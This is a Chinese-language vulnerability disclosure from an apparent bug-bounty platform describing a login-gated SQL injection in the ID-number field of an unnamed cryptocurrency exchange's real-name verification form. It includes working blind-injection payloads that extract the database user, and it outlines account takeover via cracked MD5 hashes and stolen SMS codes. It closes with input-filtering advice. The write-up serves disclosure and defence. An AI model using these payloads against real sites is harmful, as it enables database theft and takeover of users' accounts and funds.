前言

此次分析的漏洞由白帽子在2018 年 9 月提交至DVP漏洞平台,在确认漏洞真实有效后,DVP第一时间尝试联系该厂商,但经多次联系未果,且使用此套源码的交易所以接近无的情况下,DVP决定公开此漏洞,特提醒所有交易所与开发人员注意规避防御此类漏洞。

0x01 漏洞分析

此漏洞触发点需要用户登录后才能触发此漏洞注入点在实名认证的证件号码中漏洞分析 | 某通用交易所存在SQL注入漏洞

我们随便填写后点击提交,抓包能看到以下参数,其中注入点就在 identityNo 参数中。

realName=%E9%98%BF%E8%90%A8%E5%BE%B7&identityType=0&identityNo=123456798123456789

测试添加 ‘or’1’=’1 提示身份证已存在。

漏洞分析 | 某通用交易所存在SQL注入漏洞

测试添加 ‘or’1’=’2 则提示 系统繁忙。

漏洞分析 | 某通用交易所存在SQL注入漏洞

很明显,此处执行了我们构造的SQL语句,可根据此回显特征进行注入。

猜测当前user()的长度

' or 1=case when length(user())=1 then 1 else exp(0) end or '1'='1

漏洞分析 | 某通用交易所存在SQL注入漏洞

由上图发现当前用户长度为 22

猜测当前用户名

' or 1=case when mid(user(),1,1)=' a' then 1 else exp(11111) end or '1'='1

漏洞分析 | 某通用交易所存在SQL注入漏洞

由上图即可得出当前用户 otcuser@172.*.*.14

0x02 漏洞危害

攻击者可利用此漏洞获取数据库中的敏感数据,例如网站用户的账号密码、管理员的账号密码、用户手机的验证码等敏感信息,获取到此类敏感信息攻击者可匹配碰撞用户的MD5然后读取数据库的验证码即可登录用户账号进行一系列操作,鉴于此漏洞危机用户资产,故DVP漏洞平台在此套源码使用量将近无的情况下公开此类漏洞,希望所有交易所与开发人员注意规避防御此类漏洞,避免用户资产受威胁。

0x03修复建议:

不信任用户输入的任何参数,对用户输入的每一个输入点进行过滤,敏感操作请求携带CSRF_TOKEN避免用户重放操作。

相关文章